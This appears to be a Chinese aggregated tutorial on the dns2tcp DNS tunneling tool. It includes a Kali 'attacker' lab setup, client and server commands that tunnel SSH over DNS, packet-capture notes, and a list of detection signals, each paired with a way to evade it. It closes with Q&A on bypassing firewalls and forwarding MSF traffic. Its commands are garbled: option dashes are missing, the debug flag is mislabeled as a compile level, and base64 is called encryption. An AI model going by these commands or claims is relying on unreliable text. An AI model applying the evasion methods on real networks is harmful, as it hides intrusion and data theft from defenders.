一、
1. 简介
dns2tcp是一个通过DNS隧道转发TCP连接的工具,它没有加密功能,但速度相对较快,dns2tcp采用直连方式,并且Kali Linux和部分Linux发行版可以直接集成该工具,使用起来相对方便。
2. 原理
dns2tcp利用合法的DNS服务器实现DNS隧道,其核心思想是将数据放在TXT记录中,并通过base64进行加密传输,DNS数据包通过权威DNS服务器提供的NS记录和A记录到达服务端的DNS服务器,从而完成流量代理。
3. 用法
常用的命令包括:
c
: 大流量压缩
F
: 前台运行
f
: 指定配置文件
r
: 指定使用的资源
z
: 指定DNS域名
k
: 设置传输密码
l
: 侦听本地端口
d
: 编译水平(1 | 2 | 3)
服务端配置示例:
修改/etc/dns2tcpd.conf配置文件 启动服务:dns2tcpd F d 1 f /etc/dns2tcpd.conf
客户端配置示例:
测试是否可连:dns2tcpc z xxx.xx.xxx 建立隧道并使用ssh服务:dns2tcpc c k password d 1 l 7002 r ssh z xxx.xx.xxx
二、实践
1. 测试场景
(1)攻击机:Kali2021 IP: 192.168.10.128
(2)DNS服务器:Windows Server 2008 IP: 192.168.10.200
(3)目标机:Ubuntu 18.04 IP: 192.168.10.129
2. 建立隧道
(1)服务端:启动Apache服务,修改配置文件,启动侦听。
(2)客户端:测试是否可连,启动隧道后可以访问http服务,类似的有ssh、nc、smtp等多种代理方式可通过隧道代理。
3. 抓包分析
握手阶段都是正经域名,利用隧道时,大量TXT记录包,内容base64加密后放在域名里。
三、探索
1. 源码与分析
dns2tcp项目包含以下目录结构:
client/:包含客户端的源代码和文档。
common/:包含公共代码和资源。
server/:包含服务端的源代码和文档。
其他文件:包括构建和配置脚本。
2. 检测与绕过
(1)异常DNS数据包数量:在利用DNS隧道时,1秒内会有近200个DNS包,且都来自同一DNS服务器,绕过方法为中间加间隔,但这样会导致速度非常慢。
(2)特殊记录类型TXT:通常只有邮件服务器/网关会发送TXT记录,且不会有这么多的数量,绕过办法是混合使用A、AAAA、TXT、MX、CNAME等记录。
(3)异常域名:域名里有类似base64的字符串,可以通过信息熵等方法检测,绕过办法是维护一个常用域名字典,然后拆分,但这样会大大增加数据包数量。
(4)心跳包:心跳包的间隔和数量都是问题,绕过方法是间隔可以调长,甚至随机,数量可以换UDP socket重新建立隧道。
(5)命令特征:命令的一些特征字符串,绕过方法是改掉字符串。
四、相关问题与解答
1. 如何通过dns2tcp搭建DNS隧道?
答:首先需要在服务端和客户端分别进行配置,服务端需要修改配置文件并启动服务,客户端需要进行连接测试并启动隧道,具体步骤如下:
在服务端修改/etc/dns2tcpd.conf
配置文件,然后执行命令dns2tcpd F d 1 f /etc/dns2tcpd.conf
启动服务。
在客户端测试连接:dns2tcpc z xxx.xx.xxx
,建立隧道并使用ssh服务:dns2tcpc c k password d 1 l 7002 r ssh z xxx.xx.xxx
。
2. dns2tcp如何绕过防火墙策略?
答:dns2tcp通过将通信报文夹藏在UDP协议的TXT解析记录中,形成DNS隧道,从而实现绕过防火墙的策略,具体步骤如下:
在服务端配置dns2tcpd,使其监听53端口,实现DNS的UDP数据报通信,定义查询区域和转发资源。
在客户端配置dns2tcpc,使其通过本地端口监听,实现对远程主机上的应用端口进行访问,通过SSH隧道动态转发上网或嵌套其他隧道如MSF流量转发。
来源互联网整合,作者:小编,如若转载,请注明出处:https://www.aiboce.com/ask/62726.html